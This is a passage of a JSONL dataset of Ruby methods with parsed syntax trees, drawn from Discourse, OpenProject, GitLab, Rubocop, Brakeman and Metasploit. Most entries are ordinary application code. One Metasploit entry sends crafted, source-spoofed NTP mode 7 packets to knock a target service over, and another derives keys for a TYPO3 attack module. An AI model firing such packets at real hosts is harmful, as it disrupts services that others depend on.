\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"str\",\"children\":[\":\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"backtrace\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"error_pdf_failed_to_export\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"delete_all_resized_images\"]}]}]}","id":"c5ae71d4-7254-4c05-bf71-ba0258a6b353"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/concerns/reviewable_action_builder.rb","start_line":153,"raw_source":"def build_action(\n    actions,\n    id,\n    icon: nil,\n    button_class: nil,\n    bundle: nil,\n    client_action: nil,\n    confirm: false,\n    require_reject_reason: false,\n    source: nil\n  )\n    actions.add(id, bundle: bundle) do |action|\n      source ||= type_source\n      if source == \"core\"\n        prefix = \"reviewables.actions.#{id}\"\n      else\n        prefix = \"#{source.underscore}.reviewables.actions.#{id}\"\n      end\n\n      action.icon = icon if icon\n      action.button_class = button_class if button_class\n      action.label = \"#{prefix}.title\"\n      action.description = \"#{prefix}.description\"\n      action.client_action = client_action if client_action\n      action.confirm_message = \"#{prefix}.confirm\" if confirm\n      action.completed_message = \"#{prefix}.complete\"\n      action.require_reject_reason = require_reject_reason\n    end\n  end","complexity_score":25.5,"ast_json":"{\"type\":\"def\",\"children\":[\"build_action\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"actions\"]},{\"type\":\"arg\",\"children\":[\"id\"]},{\"type\":\"kwoptarg\",\"children\":[\"icon\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"button_class\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"bundle\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"client_action\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"confirm\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"require_reject_reason\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"source\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"actions\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bundle\"]},{\"type\":\"lvar\",\"children\":[\"bundle\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"action\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"source\"]},{\"type\":\"send\",\"children\":[null,\"type_source\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"==\",{\"type\":\"str\",\"children\":[\"core\"]}]},{\"type\":\"lvasgn\",\"children\":[\"prefix\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"reviewables.actions.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"prefix\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"underscore\"]}]},{\"type\":\"str\",\"children\":[\".reviewables.actions.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"icon\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"icon=\",{\"type\":\"lvar\",\"children\":[\"icon\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"button_class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"button_class=\",{\"type\":\"lvar\",\"children\":[\"button_class\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"label=\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefix\"]}]},{\"type\":\"str\",\"children\":[\".title\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"description=\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefix\"]}]},{\"type\":\"str\",\"children\":[\".description\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client_action\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"client_action=\",{\"type\":\"lvar\",\"children\":[\"client_action\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"confirm\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"confirm_message=\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefix\"]}]},{\"type\":\"str\",\"children\":[\".confirm\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"completed_message=\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefix\"]}]},{\"type\":\"str\",\"children\":[\".complete\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"require_reject_reason=\",{\"type\":\"lvar\",\"children\":[\"require_reject_reason\"]}]}]}]}]}","id":"3e8bc65e-b90e-4e53-a9e2-f94f4f10a470"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb","start_line":154,"raw_source":"def fail_with(fail_subject, message)\n    message = \"#{message}. For more info: http://r-7.co/1CAnMc0\"\n    super(fail_subject, message)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"fail_with\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fail_subject\"]},{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"str\",\"children\":[\". For more info: http://r-7.co/1CAnMc0\"]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fail_subject\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}","id":"91306ad0-6a11-410d-940f-70df6c84e919"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/dos/ntp/ntpd_reserved_dos.rb","start_line":50,"raw_source":"def run_host(ip)\n    open_pcap\n\n    print_status(\"Sending a mode 7 packet to host #{ip} from #{datastore['LHOST']}\")\n\n    p = PacketFu::UDPPacket.new\n    p.ip_saddr = datastore['LHOST']\n    p.ip_daddr = ip\n    p.ip_ttl = 255\n    p.udp_src = 123\n    p.udp_dst = 123\n    p.payload = [\"\\x17\", \"\\x97\\x00\\x00\\x00\"][rand(2)]\n    p.recalc\n    capture_sendto(p, ip)\n\n    close_pcap\n  end","complexity_score":21.1,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"recalc\"]},{\"type\":\"send\",\"children\":[null,\"capture_sendto\",{\"type\":\"lvar\",\"children\":[\"p\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"send\",\"children\":[null,\"close_pcap\"]}]}]}","id":"52542cce-43b7-4fe1-a26a-deadb1810faa"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/lib/reverse_etl/loaders/standard.rb","start_line":28,"raw_source":"def process_individual_records(sync_run, sync, sync_config, activity)\n        client = sync.destination.connector_client.new\n\n        sync_run.sync_records.pending.find_in_batches do |sync_records|\n          # concurrent request rate limit\n          concurrency = sync_config.stream.request_rate_concurrency || THREAD_COUNT\n\n          Parallel.each(sync_records, in_threads: concurrency) do |sync_record|\n            transformer = Transformers::UserMapping.new\n            record = transformer.transform(sync, sync_record)\n            Rails.logger.info \"sync_id = #{sync.id} sync_run_id = #{sync_run.id} sync_record = #{record}\"\n            report = handle_response(client.write(sync_config, [record], sync_record.action), sync_run)\n            update_sync_record_logs_and_status(report, sync_record)\n          rescue Activities::LoaderActivity::FullRefreshFailed\n            raise\n          rescue StandardError => e\n            # Utils::ExceptionReporter.report(e, {\n            #                                   sync_run_id: sync_run.id,\n            #                                   sync_id: sync.id\n            #                                 })\n            Rails.logger.error({\n              error_message: e.message,\n              sync_run_id: sync_run.id,\n              sync_id: sync_run.sync_id,\n              stack_trace: Rails.backtrace_cleaner.clean(e.backtrace)\n            }.to_s)\n          end\n\n          heartbeat(activity, sync_run)\n        end\n      end","complexity_score":58.6,"ast_json":"{\"type\":\"def\",\"children\":[\"process_individual_records\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sync_run\"]},{\"type\":\"arg\",\"children\":[\"sync\"]},{\"type\":\"arg\",\"children\":[\"sync_config\"]},{\"type\":\"arg\",\"children\":[\"activity\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"client\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync\"]},\"destination\"]},\"connector_client\"]},\"new\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_run\"]},\"sync_records\"]},\"pending\"]},\"find_in_batches\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sync_records\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"concurrency\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_config\"]},\"stream\"]},\"request_rate_concurrency\"]},{\"type\":\"const\",\"children\":[null,\"THREAD_COUNT\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Parallel\"]},\"each\",{\"type\":\"lvar\",\"children\":[\"sync_records\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"in_threads\"]},{\"type\":\"lvar\",\"children\":[\"concurrency\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sync_record\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"transformer\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Transformers\"]},\"UserMapping\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"record\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"transformer\"]},\"transform\",{\"type\":\"lvar\",\"children\":[\"sync\"]},{\"type\":\"lvar\",\"children\":[\"sync_record\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"sync_id = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\" sync_run_id = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_run\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\" sync_record = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"report\",{\"type\":\"send\",\"children\":[null,\"handle_response\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"sync_config\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_record\"]},\"action\"]}]},{\"type\":\"lvar\",\"children\":[\"sync_run\"]}]}]},{\"type\":\"send\",\"children\":[null,\"update_sync_record_logs_and_status\",{\"type\":\"lvar\",\"children\":[\"report\"]},{\"type\":\"lvar\",\"children\":[\"sync_record\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Activities\"]},\"LoaderActivity\"]},\"FullRefreshFailed\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error_message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sync_run_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_run\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sync_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_run\"]},\"sync_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stack_trace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"backtrace_cleaner\"]},\"clean\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"backtrace\"]}]}]}]},\"to_s\"]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"heartbeat\",{\"type\":\"lvar\",\"children\":[\"activity\"]},{\"type\":\"lvar\",\"children\":[\"sync_run\"]}]}]}]}]}]}","id":"d6009439-26ac-4b88-b670-56312ba4f7cd"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/duplicate_require.rb","start_line":45,"raw_source":"def on_send(node)\n          return unless require_call?(node)\n          return if @required[node.parent].add?(\"#{node.method_name}#{node.first_argument}\")\n\n          add_offense(node, message: format(MSG, method: node.method_name)) do |corrector|\n            corrector.remove(range_by_whole_lines(node.source_range, include_final_newline: true))\n          end\n        end","complexity_score":17.5,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require_call?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@required\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"parent\"]}]},\"add?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"method_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"first_argument\"]}]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"MSG\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"method_name\"]}]}]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"remove\",{\"type\":\"send\",\"children\":[null,\"range_by_whole_lines\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source_range\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_final_newline\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}]}","id":"f96c3b76-10b4-4982-8fb5-ca99b4f5f6a7"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/categories_controller.rb","start_line":39,"raw_source":"def redirect\n    return if handle_permalink(\"/category/#{params[:path]}\")\n    redirect_to path(\"/c/#{params[:path]}\")\n  end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"redirect\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"handle_permalink\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/category/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"path\"]}]}]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/c/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"path\"]}]}]}]}]}]}]}]}","id":"b6888906-ee3c-4767-bb54-1c8376edb0d4"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/two_factor_authentication/app/controllers/two_factor_authentication/two_factor_settings_controller.rb","start_line":44,"raw_source":"def permitted_params\n      params.require(:settings).permit(:enforced, :allow_remember_for_days)\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"permitted_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"settings\"]}]},\"permit\",{\"type\":\"sym\",\"children\":[\"enforced\"]},{\"type\":\"sym\",\"children\":[\"allow_remember_for_days\"]}]}]}","id":"6ceaf3f5-5a7f-4208-9df8-0c12db951929"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/http/typo3_sa_2009_001.rb","start_line":43,"raw_source":"def enc_key(seed)\n    if datastore['ENC_KEY'] != ''\n      final = datastore['ENC_KEY']\n      print_status('Using provided Encryption Key')\n    else\n      # build the encryption key to check\n      seed = seed.to_s\n      rnd1 = Digest::MD5.hexdigest(seed)\n      rnd2 = Digest::MD5.hexdigest(rnd1)\n      rnd3 = Digest::MD5.hexdigest(rnd1 + rnd2)\n      final = rnd1 + rnd2 + rnd3\n    end\n\n    return final\n  end","complexity_score":24.4,"ast_json":"{\"type\":\"def\",\"children\":[\"enc_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"seed\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ENC_KEY\"]}]},\"!=\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"final\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ENC_KEY\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Using provided Encryption Key\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"seed\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"seed\"]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"rnd1\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"MD5\"]},\"hexdigest\",{\"type\":\"lvar\",\"children\":[\"seed\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rnd2\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"MD5\"]},\"hexdigest\",{\"type\":\"lvar\",\"children\":[\"rnd1\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rnd3\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"MD5\"]},\"hexdigest\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rnd1\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"rnd2\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"final\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rnd1\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"rnd2\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"rnd3\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"final\"]}]}]}]}","id":"877987b9-700a-4d5a-aebc-03f199b17f97"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/members.rb","start_line":48,"raw_source":"def update_members(*users, access_level: AccessLevel::DEVELOPER)\n        users.each do |user|\n          update_member(user, access_level: access_level)\n        end\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"update_members\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"users\"]},{\"type\":\"kwoptarg\",\"children\":[\"access_level\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AccessLevel\"]},\"DEVELOPER\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[null,\"update_member\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"access_level\"]},{\"type\":\"lvar\",\"children\":[\"access_level\"]}]}]}]}]}]}","id":"bfaecc0c-8549-4201-bb01-4924b7763726"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/rails4.rb","start_line":367,"raw_source":"def test_sql_injection_in_find_by\n    assert_warning :type => :warning,\n      :warning_code => 0,\n      :fingerprint => \"660d7f796162d23ff209f2d35bb647b3d0cc6ad280e9320ce9d3b2853c508730\",\n      :warning_type => \"SQL Injection\",\n      :line => 47,\n      :message => /^Possible\\ SQL\\ injection/,\n      :confidence => 0,\n      :relative_path => \"app/controllers/users_controller.rb\",\n      :user_input => s(:call, s(:params), :[], s(:lit, :age_limit))\n  end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_sql_injection_in_find_by\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_warning\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"warning\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"str\",\"children\":[\"660d7f796162d23ff209f2d35bb647b3d0cc6ad280e9320ce9d3b2853c508730\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"SQL Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"int\",\"children\":[47]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Possible\\\\ SQL\\\\ injection\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_path\"]},{\"type\":\"str\",\"children\":[\"app/controllers/users_controller.rb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"params\"]}]},{\"type\":\"sym\",\"children\":[\"[]\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"age_limit\"]}]}]}]}]}]}]}","id":"7f0305da-2974-4367-9adb-2efc7d5f04d0"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/type/attributes.rb","start_line":123,"raw_source":"def calculate_default_work_package_form_attributes\n      representable_config = API::V3::WorkPackages::Schema::WorkPackageSchemaRepresenter\n                             .representable_attrs\n\n      # For reasons beyond me, Representable::Config contains the definitions\n      #  * nested in [:definitions] in some envs, e.g. development\n      #  * directly in other envs, e.g. test\n      definitions = representable_config.key?(:definitions) ? representable_config[:definitions] : representable_config\n\n      definitions.keys\n                 .reject { |key| skipped_attribute?(key, definitions[key]) }\n                 .index_with { |key| JSON::parse(definitions[key].to_json) }\n    end","complexity_score":18.6,"ast_json":"{\"type\":\"def\",\"children\":[\"calculate_default_work_package_form_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"representable_config\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"API\"]},\"V3\"]},\"WorkPackages\"]},\"Schema\"]},\"WorkPackageSchemaRepresenter\"]},\"representable_attrs\"]}]},{\"type\":\"lvasgn\",\"children\":[\"definitions\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"representable_config\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"definitions\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"representable_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"definitions\"]}]},{\"type\":\"lvar\",\"children\":[\"representable_config\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"definitions\"]},\"keys\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[null,\"skipped_attribute?\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",